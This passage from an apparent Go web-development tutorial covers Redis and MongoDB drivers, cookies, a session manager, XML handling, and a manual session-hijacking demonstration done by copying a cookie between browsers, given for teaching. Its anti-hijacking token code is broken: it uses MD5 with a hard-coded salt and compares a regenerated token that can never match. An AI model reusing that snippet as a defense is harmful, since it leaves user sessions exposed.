    func Get(key string) ([]byte, error) {

        conn := Pool.Get()
        defer conn.Close()

        var data []byte
        data, err := redis.Bytes(conn.Do("GET", key))
        if err != nil {
            return data, fmt.Errorf("error get key %s: %v", key, err)
        }
        return data, err
    }

    func main() {
        test, err := Get("test")
        fmt.Println(test, err)
    }


I forked the last of these packages, fixed some bugs, and used it in my short URL service (2 million PV every day).


	https://github.com/astaxie/goredis



Let’s see how to use the driver that I forked to operate on a database:

    package main

    import (
        "github.com/astaxie/goredis"
        "fmt"
    )

    func main() {
        var client goredis.Client
        
        // Set the default port in Redis
        client.Addr = "127.0.0.1:6379"
        
        // string manipulation
        client.Set("a", []byte("hello"))
        val, _ := client.Get("a")
        fmt.Println(string(val))
        client.Del("a")

        // list operation
        vals := []string{"a", "b", "c", "d", "e"}
        for _, v := range vals {
            client.Rpush("l", []byte(v))
        }
        dbvals,_ := client.Lrange("l", 0, 4)
        for i, v := range dbvals {
            println(i,":",string(v))
        }
        client.Del("l")
    }


We can see that it is quite easy to operate redis in Go, and it has high performance. It’s client commands are almost the same as redis’ built-in commands.





133.2 mongoDB

mongoDB (from “humongous”) is an open source document-oriented database system developed and supported by 10gen. It is part of the NoSQL family of database systems. Instead of storing data in tables as is done in a “classical” relational database, MongoDB stores structured data as JSON-like documents with dynamic schemas (MongoDB calls the format BSON), making the integration of data in certain types of applications easier and faster.
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Figure 5.1 MongoDB compared to Mysql

The best driver for mongoDB is called mgo, and it is possible that it will be included in the standard library in the future.

Install mgo:

    go get gopkg.in/mgo.v2


Here is the example:


    package main

    import (
        "fmt"
        "gopkg.in/mgo.v2"
        "gopkg.in/mgo.v2/bson"
        "log"
    )

    type Person struct {
        Name  string
        Phone string
    }

    func main() {
        session, err := mgo.Dial("server1.example.com,server2.example.com")
        if err != nil {
            panic(err)
        }
        defer session.Close()

        // Optional. Switch the session to a monotonic behavior.
        session.SetMode(mgo.Monotonic, true)

        c := session.DB("test").C("people")
        err = c.Insert(&Person{"Ale", "+55 53 8116 9639"},
            &Person{"Cla", "+55 53 8402 8510"})
        if err != nil {
            log.Fatal(err)
        }

        result := Person{}
        err = c.Find(bson.M{"name": "Ale"}).One(&result)
        if err != nil {
            log.Fatal(err)
        }

        fmt.Println("Phone:", result.Phone)
    }


We can see that there are no big differences when it comes to operating on mgo or beedb databases; they are both based on structs. This is the Go way of doing things.





133.3 Links


	Directory

	Previous section: Develop ORM based on beedb

	Next section: Summary







134 5.7 Summary

In this chapter, you first learned about the design of the database/sql interface and many third-party database drivers for various database types. Then I introduced beedb, an ORM for relational databases, to you. I also showed you some sample database operations. In the end, I talked about a few NoSQL databases. We saw that Go provides very good support for those NoSQL databases.

After reading this chapter, I hope that you have a better understanding of how to operate databases in Go. This is the most important part of web development, so I want you to completely understand the design concepts of the database/sql interface.





134.1 Links


	Directory

	Previous section: NoSQL database

	Next section: Data storage and session







135 6 Data storage and sessions

An important topic in web development is providing a good user experience, but the fact that HTTP is a stateless protocol seems contrary to this spirit. How can we control the whole process of viewing websites for users? The classic solutions are using cookies and sessions, where cookies serve as the client side mechanism and sessions are saved on the server side with a unique identifier for every single user. Note that sessions can be passed in URLs or cookies, or even in your database (which is much more secure, but may hamper your application performance).

In section 6.1, we are going to talk about differences between cookies and sessions. In section 6.2, you’ll learn how to use sessions in Go with an implementation of a session manager. In section 6.3, we will talk about session hijacking and how to prevent it when you know that sessions can be saved anywhere. The session manager we will implement in section 6.3 will save sessions in memory, but if we need to expand our application to allow for session sharing, it’s always better to save these sessions directly into our database. We’ll talk more about this in section 6.4.





135.1 Links


	Directory

	Previous Chapter: Chapter 5 Summary

	Next section: Session and cookies







135.2 6.1 Session and cookies

Sessions and cookies are two very common web concepts, and are also very easy to misunderstand. However, they are extremely important for the authorization of pages, as well as for gathering page statistics. Let’s take a look at these two use cases.

Suppose you want to crawl a page that restricts public access, like a twitter user’s homepage for instance. Of course you can open your browser and type in your username and password to login and access that information, but so-called “web crawling” means that we use a program to automate this process without any human intervention. Therefore, we have to find out what is really going on behind the scenes when we use a browser to login.

When we first receive a login page and type in a username and password, after we press the “login” button, the browser sends a POST request to the remote server. The Browser redirects to the user homepage after the server verifies the login information and returns an HTTP response. The question here is, how does the server know that we have access privileges for the desired webpage? Because HTTP is stateless, the server has no way of knowing whether or not we passed the verification in last step. The easiest and perhaps the most naive solution is to append the username and password to the URL. This works, but puts too much pressure on the server (the server must validate every request against the database), and can be detrimental to the user experience. An alternative way of achieving this goal is to save the user’s identity either on the server side or client side using cookies and sessions.

Cookies, in short, store historical information (including user login information) on the client’s computer. The client’s browser sends these cookies everytime the user visits the same website, automatically completing the login step for the user.
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Figure 6.1 cookie principle.

Sessions, on the other hand, store historical information on the server side. The server uses a session id to identify different sessions, and the session id that is generated by the server should always be random and unique. You can use cookies or URL arguments to get the client’s identity.

[image: ]

Figure 6.2 session principle.





135.3 Cookies

Cookies are maintained by browsers. They can be modified during communication between webservers and browsers. Web applications can access cookie information when users visit the corresponding websites. Within most browser settings, there is one setting pertaining to cookie privacy. You should be able to see something similar to the following when you open it.
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Figure 6.3 cookie in browsers.

Cookies have an expiry time, and there are two types of cookies distinguished by their life cyles: session cookies and persistent cookies.

If your application doesn’t set a cookie expiry time, the browser will not save it into the local file system after the browser is closed. These cookies are called session cookies, and this type of cookie is usually saved in memory instead of to the local file system.

If your application does set an expiry time (for example, setMaxAge(606024)), the browser will save this cookie to the local file system, and it will not be deleted until reaching the allotted expiry time. Cookies that are saved to the local file system can be shared by different browser processes -for example, by two IE windows; different browsers use different processes for dealing with cookies that are saved in memory. 　　





135.4 Set cookies in Go

Go uses the SetCookie function in the net/http package to set cookies:

    http.SetCookie(w ResponseWriter, cookie *Cookie)


w is the response of the request and cookie is a struct. Let’s see what it looks like:

    type Cookie struct {
        Name       string
        Value      string
        Path       string
        Domain     string
        Expires    time.Time
        RawExpires string
    
    // MaxAge=0 means no 'Max-Age' attribute specified.
    // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0'
    // MaxAge>0 means Max-Age attribute present and given in seconds
        MaxAge   int
        Secure   bool
        HttpOnly bool
        Raw      string
        Unparsed []string // Raw text of unparsed attribute-value pairs
    }


Here is an example of setting a cookie:

    expiration := time.Now().Add(365 * 24 * time.Hour)
    cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration}
    http.SetCookie(w, &cookie)






135.5 Fetch cookies in Go

The above example shows how to set a cookie. Now let’s see how to get a cookie that has been set:

    cookie, _ := r.Cookie("username")
    fmt.Fprint(w, cookie)


Here is another way to get a cookie:

    for _, cookie := range r.Cookies() {
        fmt.Fprint(w, cookie.Name)
    }


As you can see, it’s very convenient to get cookies from requests.





135.6 Sessions

A session is a series of actions or messages. For example, you can think of the actions you between picking up your telephone to hanging up to be a type of session. When it comes to network protocols, sessions have more to do with connections between browsers and servers.

Sessions help to store the connection status between server and client, and this can sometimes be in the form of a data storage struct.

Sessions are a server-side mechanism, and usually employ hash tables (or something similar) to save incoming information.

When an application needs to assign a new session to a client, the server should check if there are any existing sessions for the same client with a unique session id. If the session id already exists, the server will just return the same session to the client. On the other hand, if a session id doesn’t exist for the client, the server creates a brand new session (this usually happens when the server has deleted the corresponding session id, but the user has appended the old session manually).

The session itself is not complex but its implementation and deployment are, so you cannot use “one way to rule them all”.





135.7 Summary

In conclusion, the purpose of sessions and cookies are the same. They are both for overcoming the statelessness of HTTP, but they use different methods. Sessions use cookies to save session ids on the client side, and save all other information on the server side. Cookies save all client information on the client side. You may have noticed that cookies have some security problems. For example, usernames and passwords can potentially be cracked and collected by malicious third party websites.

Here are two common exploits:


	appA setting an unexpected cookie for appB.

	XSS attack: appA uses the JavaScript document.cookie to access the cookies of appB.



After finishing this section, you should know some of the basic concepts of cookies and sessions. You should be able to understand the differences between them so that you won’t kill yourself when bugs inevitably emerge. We’ll discuss sessions in more detail in the following sections.





135.8 Links


	Directory

	Previous section: Data storage and session

	Next section: How to use session in Go







136 6.2 How to use sessions in Go

In section 6.1, we learned that sessions are one solution for verifying users, and that for now, the Go standard library does not have baked-in support for sessions or session handling. So, we’re going to implement our own version of a session manager in Go.





136.1 Creating sessions

The basic principle behind sessions is that a server maintains information for every single client, and clients rely on unique session id’s to access this information. When users visit the web application, the server will create a new session with the following three steps, as needed:


	Create a unique session id

	Open up a data storage space: normally we save sessions in memory, but you will lose all session data if the system is accidentally interrupted. This can be a very serious issue if web application deals with sensitive data, like in electronic commerce for instance. In order to solve this problem, you can instead save your session data in a database or file system. This makes data persistence more reliable and easy to share with other applications, although the tradeoff is that more server-side IO is needed to read and write these sessions.

	Send the unique session id to the client.



The key step here is to send the unique session id to the client. In the context of a standard HTTP response, you can either use the response line, header or body to accomplish this; therefore, we have two ways to send session ids to clients: by cookies or URL rewrites.


	Cookies: the server can easily use Set-cookie inside of a response header to send a session id to a client, and a client can then use this cookie for future requests; we often set the expiry time for cookies containing session information to 0, which means the cookie will be saved in memory and only deleted after users have close their browsers.

	URL rewrite: append the session id as arguments in the URL for all pages. This way seems messy, but it’s the best choice if clients have disabled cookies in their browsers.







136.2 Use Go to manage sessions

We’ve talked about constructing sessions, and you should now have a general overview of it, but how can we use sessions on dynamic pages? Let’s take a closer look at the life cycle of a session so we can continue implementing our Go session manager.





136.2.1 Session management design

Here is a list of some of the key considerations in session management design.


	Global session manager.

	Keep session id unique.

	Have one session for every user.

	Session storage in memory, file or database.

	Deal with expired sessions.



Next, we’ll examine a complete example of a Go session manager and the rationale behind some of its design decisions.





136.2.2 Session manager

Define a global session manager:

    type Manager struct {
        cookieName  string     //private cookiename
        lock        sync.Mutex // protects session
        provider    Provider
        maxlifetime int64
    }
    
    func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) {
        provider, ok := provides[provideName]
        if !ok {
            return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName)
        }
        return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil
    }


Create a global session manager in the main() function:

    var globalSessions *session.Manager
    // Then, initialize the session manager
    func init() {
        globalSessions = NewManager("memory","gosessionid",3600)
    }


We know that we can save sessions in many ways including in memory, the file system or directly into the database. We need to define a Provider interface in order to represent the underlying structure of our session manager:

    type Provider interface {
        SessionInit(sid string) (Session, error)
        SessionRead(sid string) (Session, error)
        SessionDestroy(sid string) error
        SessionGC(maxLifeTime int64)
    }



	SessionInit implements the initialization of a session, and returns a new session if it succeeds.

	SessionRead returns a session represented by the corresponding sid. Creates a new session and returns it if it does not already exist.

	SessionDestroy given an sid, deletes the corresponding session.

	SessionGC deletes expired session variables according to maxLifeTime.



So what methods should our session interface have? If you have any experience in web development, you should know that there are only four operations for sessions: set value, get value, delete value and get current session id. So, our session interface should have four methods to perform these operations.

    type Session interface {
        Set(key, value interface{}) error //set session value
        Get(key interface{}) interface{}  //get session value
        Delete(key interface{}) error     //delete session value
        SessionID() string                //back current sessionID
    }


This design takes its roots from the database/sql/driver, which defines the interface first, then registers specific structures when we want to use it. The following code is the internal implementation of a session register function.

    var provides = make(map[string]Provider)

    // Register makes a session provider available by the provided name.
    // If a Register is called twice with the same name or if the driver is nil,
    // it panics.
    func Register(name string, provider Provider) {
        if provider == nil {
            panic("session: Register provider is nil")
        }
        if _, dup := provides[name]; dup {
            panic("session: Register called twice for provider " + name)
        }
        provides[name] = provider
    }






136.2.3 Unique session id’s

Session id’s are for identifying users of web applications, so they must be unique. The following code shows how to achieve this goal:

    func (manager *Manager) sessionId() string {
        b := make([]byte, 32)
        if _, err := io.ReadFull(rand.Reader, b); err != nil {
            return ""
        }
        return base64.URLEncoding.EncodeToString(b)
    }






136.2.4 Creating a session

We need to allocate or get an existing session in order to validate user operations. The SessionStart function is for checking the existence of any sessions related to the current user, and creating a new session if none is found.

    func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) {
        manager.lock.Lock()
        defer manager.lock.Unlock()
        cookie, err := r.Cookie(manager.cookieName)
        if err != nil || cookie.Value == "" {
            sid := manager.sessionId()
            session, _ = manager.provider.SessionInit(sid)
            cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)}
            http.SetCookie(w, &cookie)
        } else {
            sid, _ := url.QueryUnescape(cookie.Value)
            session, _ = manager.provider.SessionRead(sid)
        }
        return
    }


Here is an example that uses sessions for a login operation.

    func login(w http.ResponseWriter, r *http.Request) {
        sess := globalSessions.SessionStart(w, r)
        r.ParseForm()
        if r.Method == "GET" {
            t, _ := template.ParseFiles("login.gtpl")
            w.Header().Set("Content-Type", "text/html")
            t.Execute(w, sess.Get("username"))
        } else {
            sess.Set("username", r.Form["username"])
            http.Redirect(w, r, "/", 302)
        }
    }






136.2.5 Operation value: set, get and delete

The SessionStart function returns a variable that implements a session interface. How do we use it?

You saw session.Get("uid") in the above example for a basic operation. Now let’s examine a more detailed example.

    func count(w http.ResponseWriter, r *http.Request) {
        sess := globalSessions.SessionStart(w, r)
        createtime := sess.Get("createtime")
        if createtime == nil {
            sess.Set("createtime", time.Now().Unix())
        } else if (createtime.(int64) + 360) < (time.Now().Unix()) {
            globalSessions.SessionDestroy(w, r)
            sess = globalSessions.SessionStart(w, r)
        }
        ct := sess.Get("countnum")
        if ct == nil {
            sess.Set("countnum", 1)
        } else {
            sess.Set("countnum", (ct.(int) + 1))
        }
        t, _ := template.ParseFiles("count.gtpl")
        w.Header().Set("Content-Type", "text/html")
        t.Execute(w, sess.Get("countnum"))
    }


As you can see, operating on sessions simply involves using the key/value pattern in the Set, Get and Delete operations.

Because sessions have the concept of an expiry time, we define the GC to update the session’s latest modify time. This way, the GC will not delete sessions that have expired but are still being used.





136.2.6 Reset sessions

We know that web applications have a logout operation. When users logout, we need to delete the corresponding session. We’ve already used the reset operation in above example -now let’s take a look at the function body.

    // Destroy sessionid
    func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){
        cookie, err := r.Cookie(manager.cookieName)
        if err != nil || cookie.Value == "" {
            return
        } else {
            manager.lock.Lock()
            defer manager.lock.Unlock()
            manager.provider.SessionDestroy(cookie.Value)
            expiration := time.Now()
            cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1}
            http.SetCookie(w, &cookie)
        }
    }






136.2.7 Delete sessions

Let’s see how to let the session manager delete a session. We need to start the GC in the main() function:

    func init() {
        go globalSessions.GC()
    }
    
    func (manager *Manager) GC() {
        manager.lock.Lock()
        defer manager.lock.Unlock()
        manager.provider.SessionGC(manager.maxlifetime)
        time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() })
    }


We see that the GC makes full use of the timer function in the time package. It automatically calls GC when the session times out, ensuring that all sessions are usable during maxLifeTime. A similar solution can be used to count online users.





136.3 Summary

So far, we implemented a session manager to manage global sessions in the web application and defined the Provider interface as the storage implementation of Session. In the next section, we are going to talk about how to implement Provider for additional session storage structures, which you will be able to reference in the future.





136.4 Links


	Directory

	Previous section: Session and cookies

	Next section: Session storage







137 6.3 Session storage

We introduced a simple session manager’s working principles in the previous section, and among other things, we defined a session storage interface. In this section, I’m going to show you an example of a memory based session storage engine that implements this interface. You can tailor this to other forms of session storage as well.

    package memory
    
    import (
        "container/list"
        "github.com/astaxie/session"
        "sync"
        "time"
    )
    
    var pder = &Provider{list: list.New()}
    
    type SessionStore struct {
        sid          string                      // unique session id
        timeAccessed time.Time                   // last access time
        value        map[interface{}]interface{} // session value stored inside
    }
    
    func (st *SessionStore) Set(key, value interface{}) error {
        st.value[key] = value
        pder.SessionUpdate(st.sid)
        return nil
    }
    
    func (st *SessionStore) Get(key interface{}) interface{} {
        pder.SessionUpdate(st.sid)
        if v, ok := st.value[key]; ok {
            return v
        } else {
            return nil
        }
        return nil
    }
    
    func (st *SessionStore) Delete(key interface{}) error {
        delete(st.value, key)
        pder.SessionUpdate(st.sid)
        return nil
    }
    
    func (st *SessionStore) SessionID() string {
        return st.sid
    }
    
    type Provider struct {
        lock     sync.Mutex               // lock
        sessions map[string]*list.Element // save in memory
        list     *list.List               // gc
    }
    
    func (pder *Provider) SessionInit(sid string) (session.Session, error) {
        pder.lock.Lock()
        defer pder.lock.Unlock()
        v := make(map[interface{}]interface{}, 0)
        newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v}
        element := pder.list.PushBack(newsess)
        pder.sessions[sid] = element
        return newsess, nil
    }
    
    func (pder *Provider) SessionRead(sid string) (session.Session, error) {
        if element, ok := pder.sessions[sid]; ok {
            return element.Value.(*SessionStore), nil
        } else {
            sess, err := pder.SessionInit(sid)
            return sess, err
        }
        return nil, nil
    }
    
    func (pder *Provider) SessionDestroy(sid string) error {
        if element, ok := pder.sessions[sid]; ok {
            delete(pder.sessions, sid)
            pder.list.Remove(element)
            return nil
        }
        return nil
    }
    
    func (pder *Provider) SessionGC(maxlifetime int64) {
        pder.lock.Lock()
        defer pder.lock.Unlock()
    
        for {
            element := pder.list.Back()
            if element == nil {
                break
            }
            if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() {
                pder.list.Remove(element)
                delete(pder.sessions, element.Value.(*SessionStore).sid)
            } else {
                break
            }
        }
    }
    
    func (pder *Provider) SessionUpdate(sid string) error {
        pder.lock.Lock()
        defer pder.lock.Unlock()
        if element, ok := pder.sessions[sid]; ok {
            element.Value.(*SessionStore).timeAccessed = time.Now()
            pder.list.MoveToFront(element)
            return nil
        }
        return nil
    }
    
    func init() {
        pder.sessions = make(map[string]*list.Element, 0)
        session.Register("memory", pder)
    }


The above example implements a memory based session storage mechanism. It uses its init() function to register this storage engine to the session manager. So how do we register this engine from our main program?

    import (
        "github.com/astaxie/session"
        _ "github.com/astaxie/session/providers/memory"
    )


We use the blank import mechanism (which will invoke the package’s init() function automatically) to register this engine to a session manager. We then use the following code to initialize the session manager:

    var globalSessions *session.Manager
    
    // initialize in init() function
    func init() {
        globalSessions, _ = session.NewManager("memory", "gosessionid", 3600)
        go globalSessions.GC()
    }






137.1 Links


	Directory
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	Next section: Prevent session hijacking







138 6.4 Preventing session hijacking

Session hijacking is a common yet serious security threat. Clients use session id’s for validation and other purposes when communicating with servers. Unfortunately, malicious third parties can sometimes track these communications and figure out the client session id.

In this section, we are going to show you how to hijack a session for educational purposes.





138.1 The session hijacking process

The following code is a counter for the count variable:

    func count(w http.ResponseWriter, r *http.Request) {
        sess := globalSessions.SessionStart(w, r)
        ct := sess.Get("countnum")
        if ct == nil {
            sess.Set("countnum", 1)
        } else {
            sess.Set("countnum", (ct.(int) + 1))
        }
        t, _ := template.ParseFiles("count.gtpl")
        w.Header().Set("Content-Type", "text/html")
        t.Execute(w, sess.Get("countnum"))
    }


The content of count.gtpl is as follows:

Hi. Now count:{{.}}

We can see the following content in the browser:

[image: ]

Figure 6.4 count in browser.

Keep refreshing until the number becomes 6, then open the browser’s cookie manager (I use chrome here). You should be able to see the following information:

[image: ]

Figure 6.5 cookies saved in a browser.

This step is very important: open another browser (I use firefox here), copy the URL to the new browser, open a cookie simulator to create a new cookie and input exactly the same value as the cookie we saw in our first browser.

[image: ]

Figure 6.6 Simulate a cookie.

Refresh the page and you’ll see the following:

[image: ]

Figure 6.7 hijacking the session has succeeded.

Here we see that we can hijack sessions between different browsers, and actions performed in one browser can affect the state of a page in another browser. Because HTTP is stateless, there is no way of knowing that the session id from firefox is simulated, and chrome is also not able to know that it’s session id has been hijacked.





138.2 prevent session hijacking





138.2.1 cookie only and token

Through this simple example of hijacking a session, you can see that it’s very dangerous because it allows attackers to do whatever they want. So how can we prevent session hijacking?

The first step is to only set session id’s in cookies, instead of in URL rewrites. Also, we should set the httponly cookie property to true. This restricts client-side scripts from gaining access to the session id. Using these techniques, cookies cannot be accessed by XSS and it won’t be as easy as we demonstrated to get a session id from a cookie manager.

The second step is to add a token to every request. Similar to the manner in which we dealt with repeating form submissions in previous sections, we add a hidden field that contains a token. When a request is sent to the server, we can verify this token to prove that the request is unique.

    h := md5.New()
    salt:="astaxie%^7&8888"
    io.WriteString(h,salt+time.Now().String())
    token:=fmt.Sprintf("%x",h.Sum(nil))
    if r.Form["token"]!=token{
        // ask to log in
    }
    sess.Set("token",token)






138.2.2 Session id timeout

Another solution is to add a create time for every session, and to replace expired session id’s with new ones. This can prevent session hijacking under certain circumstances such as when the hijack is attempted too late.

    createtime := sess.Get("createtime")
    if createtime == nil {
        sess.Set("createtime", time.Now().Unix())
    } else if (createtime.(int64) + 60) < (time.Now().Unix()) {
        globalSessions.SessionDestroy(w, r)
        sess = globalSessions.SessionStart(w, r)
    }


We set a value to save the create time and check if it’s expired (I set 60 seconds here). This step can often thwart session hijacking attempts.

By combining the two solutions set out above you will be able to prevent most session hijacking attempts from succeeding. On the one hand, session id’s that are frequently reset will result in an attacker always getting expired and useless session id’s; on the other hand, by setting the httponly property on cookies and ensuring that session id’s can only be passed via cookies, all URL based attacks are mitigated. Finally, we set MaxAge=0 on our cookies, which means that the session id’s will not be saved in the browser history.
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139 6.5 Summary

In this chapter, we learned about the definition and purpose of sessions and cookies, and the relationship between the two. Since Go doesn’t support sessions in its standard library, we also designed our own session manager. We went through everything from creating client sessions to deleting them. We then defined an interface called Provider which supports all session storage structures. In section 6.3, we implemented a memory based session manager to persist client data across sessions. In section 6.4, I demonstrated one way of hijacking a session. Then we looked at how to prevent your own sessions from being hijacked. I hope that you now understand most of the working principles behind sessions so that you’re able to safely use them in your applications.
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140 7 Text files

Handling text files is a big part of web development. We often need to produce or handle received text content, including strings, numbers, JSON, XML, etc. As a high performance language, Go has good support for this in its standard library. You’ll find that these supporting libraries are just awesome, and will allow you to easily deal with any text content you may encounter. This chapter contains 4 sections, and will give you a full introduction to text processing in Go.

XML is an interactive language that is commonly used in many APIs, many web servers written in Java use XML as their standard interaction language. We’ll more talk about XML in section 7.1. In section 7.2, we’ll take a look at JSON which has been very popular in recent years and is much more convenient than XML. In section 7.3, we are going to talk about regular expressions which (for the majority of people) looks like a language used by aliens. In section 7.4, you will see how the MVC pattern is used to develop applications in Go, and also how to use Go’s template package for templating your views. In section 7.5, we’ll introduce you to file and folder operations. Finally, we will explain some Go string operations in section 7.6.
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141 7.1 XML

XML is a commonly used data communication format in web services. Today, it’s assuming a more and more important role in web development. In this section, we’re going to introduce how to work with XML through Go’s standard library.

I will not make any attempts to teach XML’s syntax or conventions. For that, please read more documentation about XML itself. We will only focus on how to encode and decode XML files in Go.

Suppose you work in IT, and you have to deal with the following XML configuration file:

<?xml version="1.0" encoding="utf-8"?>
<servers version="1">
    <server>
        <serverName>Shanghai_VPN</serverName>
        <serverIP>127.0.0.1</serverIP>
    </server>
    <server>
        <serverName>Beijing_VPN</serverName>
        <serverIP>127.0.0.2</serverIP>
    </server>
</servers>


The above XML document contains two kinds of information about your server: the server name and IP. We will use this document in our following examples.





141.1 Parse XML

How do we parse this XML document? We can use the Unmarshal function in Go’s xml package to do this.

func Unmarshal(data []byte, v interface{}) error

the data parameter receives a data stream from an XML source, and v is the structure you want to output the parsed XML to. It is an interface, which means you can convert XML to any structure you desire. Here, we’ll only talk about how to convert from XML to the struct type since they share similar tree structures.

Sample code:

package main

import (
    "encoding/xml"
    "fmt"
    "io/ioutil"
    "os"
)

type Recurlyservers struct {
    XMLName     xml.Name `xml:"servers"`
    Version     string   `xml:"version,attr"`
    Svs         []server `xml:"server"`
    Description string   `xml:",innerxml"`
}

type server struct {
    XMLName    xml.Name `xml:"server"`
    ServerName string   `xml:"serverName"`
    ServerIP   string   `xml:"serverIP"`
}

func main() {
    file, err := os.Open("servers.xml") // For read access.     
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }
    defer file.Close()
    data, err := ioutil.ReadAll(file)
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }
    v := Recurlyservers{}
    err = xml.Unmarshal(data, &v)
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }

    fmt.Println(v)
}


XML is actually a tree data structure, and we can define a very similar structure using structs in Go, then use xml.Unmarshal to convert from XML to our struct object. The sample code will print the following content:

{{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}]
<server>
    <serverName>Shanghai_VPN</serverName>
    <serverIP>127.0.0.1</serverIP>
</server>
<server>
    <serverName>Beijing_VPN</serverName>
    <serverIP>127.0.0.2</serverIP>
</server>
}


We use xml.Unmarshal to parse the XML document to the corresponding struct object. You should see that we have something like xml:"serverName" in our struct. This is a feature of structs called struct tags for helping with reflection. Let’s see the definition of Unmarshal again:

func Unmarshal(data []byte, v interface{}) error


The first argument is an XML data stream. The second argument is storage type and supports the struct, slice and string types. Go’s XML package uses reflection for data mapping, so all fields in v should be exported. However, this causes a problem: how does it know which XML field corresponds to the mapped struct field? The answer is that the XML parser parses data in a certain order. The library will try to find the matching struct tag first. If a match cannot be found then it searches through the struct field names. Be aware that all tags, field names and XML elements are case sensitive, so you have to make sure that there is a one-to-one correspondence for the mapping to succeed.

Go’s reflection mechanism allows you to use this tag information to reflect XML data to a struct object. If you want to know more about reflection in Go, please read the package documentation on struct tags and reflection.

Here are some rules when using the xml package to parse XML documents to structs:


	If the field type is a string or []byte with the tag ",innerxml", Unmarshal will assign raw XML data to it, like Description in the above example:

Shanghai_VPN127.0.0.1Beijing_VPN127.0.0.2


	If a field is called XMLName and its type is xml.Name, then it gets the element name, like servers in above example.

	If a field’s tag contains the corresponding element name, then it gets the element name as well, like servername and serverip in the above example.

	If a field’s tag contains ",attr", then it gets the corresponding element’s attribute, like version in above example.

	If a field’s tag contains something like "a>b>c", it gets the value of the element c of node b of node a.

	If a field’s tag contains "=", then it gets nothing.

	If a field’s tag contains ",any", then it gets all child elements which do not fit the other rules.

	If the XML elements have one or more comments, all of these comments will be added to the first field that has the tag that contains ",comments". This field type can be a string or []byte. If this kind of field does not exist, all comments are discarded.




These rules tell you how to define tags in structs. Once you understand these rules, mapping XML to structs will be as easy as the sample code above. Because tags and XML elements have a one-to-one correspondence, we can also use slices to represent multiple elements on the same level.

Note that all fields in structs should be exported (capitalized) in order to parse data correctly.





141.2 Produce XML

What if we want to produce an XML document instead of parsing one. How do we do this in Go? Unsurprisingly, the xml package provides two functions which are Marshal and MarshalIndent, where the second function automatically indents the marshalled XML document. Their definition as follows:

func Marshal(v interface{}) ([]byte, error)
func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error)


The first argument in both of these functions is for storing a marshalled XML data stream.

Let’s look at an example to see how this works:

package main

import (
    "encoding/xml"
    "fmt"
    "os"
)

type Servers struct {
    XMLName xml.Name `xml:"servers"`
    Version string   `xml:"version,attr"`
    Svs     []server `xml:"server"`
}

type server struct {
    ServerName string `xml:"serverName"`
    ServerIP   string `xml:"serverIP"`
}

func main() {
    v := &Servers{Version: "1"}
    v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"})
    v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"})
    output, err := xml.MarshalIndent(v, "  ", "    ")
    if err != nil {
        fmt.Printf("error: %v\n", err)
    }
    os.Stdout.Write([]byte(xml.Header))

    os.Stdout.Write(output)
}


The above example prints the following information:

<?xml version="1.0" encoding="UTF-8"?>
<servers version="1">
<server>
    <serverName>Shanghai_VPN</serverName>
    <serverIP>127.0.0.1</serverIP>
</server>
<server>
    <serverName>Beijing_VPN</serverName>
    <serverIP>127.0.0.2</serverIP>
</server>
</servers>


As we’ve previously defined, the reason we have os.Stdout.Write([]byte(xml.Header)) is because both xml.MarshalIndent and xml.Marshal do not output XML headers on their own, so we have to explicitly print them in order to produce XML documents correctly.

Here we can see that Marshal also receives a v parameter of type interface{}. So what are the rules when marshalling to an XML document?


	If v is an array or slice, it prints all elements like a value.

	If v is a pointer, it prints the content that v is pointing to, printing nothing when v is nil.

	If v is a interface, it deal with the interface as well.

	If v is one of the other types, it prints the value of that type.



So how does xml.Marshal decide the elements’ name? It follows the ensuing rules:


	If v is a struct, it defines the name in the tag of XMLName.

	The field name is XMLName and the type is xml.Name.

	Field tag in struct.

	Field name in struct.

	Type name of marshal.



Then we need to figure out how to set tags in order to produce the final XML document.


	XMLName will not be printed.

	Fields that have tags containing "-" will not be printed.

	If a tag contains "name,attr", it uses name as the attribute name and the field value as the value, like version in the above example.

	If a tag contains ",attr", it uses the field’s name as the attribute name and the field value as its value.

	If a tag contains ",chardata", it prints character data instead of element.

	If a tag contains ",innerxml", it prints the raw value.

	If a tag contains ",comment", it prints it as a comment without escaping, so you cannot have “–” in its value.

	If a tag contains "omitempty", it omits this field if its value is zero-value, including false, 0, nil pointer or nil interface, zero length of array, slice, map and string.

	If a tag contains "a>b>c", it prints three elements where a contains b and b contains c, like in the following code:

``xml FirstName stringxml:“name>first”LastName  stringxml:“name>last”`



<name>

<first>Asta</first>

<last>Xie</last>

</name>

```

You may have noticed that struct tags are very useful for dealing with XML, and the same goes for the other data formats we’ll be discussing in the following sections. If you still find that you have problems with working with struct tags, you should probably read more documentation about them before diving into the next section.





141.3 Links


	Directory

	Previous section: Text files

	Next section: JSON







142 7.2 JSON

JSON (JavaScript Object Notation) is a lightweight data exchange language which is based on text description. Its advantages include being self-descriptive, easy to understand, etc. Even though it is a subset of JavaScript, JSON uses a different text format, the result being that it can be considered as an independent language. JSON bears similarity to C-family languages.

The biggest difference between JSON and XML is that XML is a complete markup language, whereas JSON is not. JSON is smaller and faster than XML, therefore it’s much easier and quicker to parse in browsers, which is one of the reasons why many open platforms choose to use JSON as their data exchange interface language.

Since JSON is becoming more and more important in web development, let’s take a look at the level of support Go has for JSON. You’ll find that Go’s standard library has very good support for encoding and decoding JSON.

Here we use JSON to represent the example in the previous section:

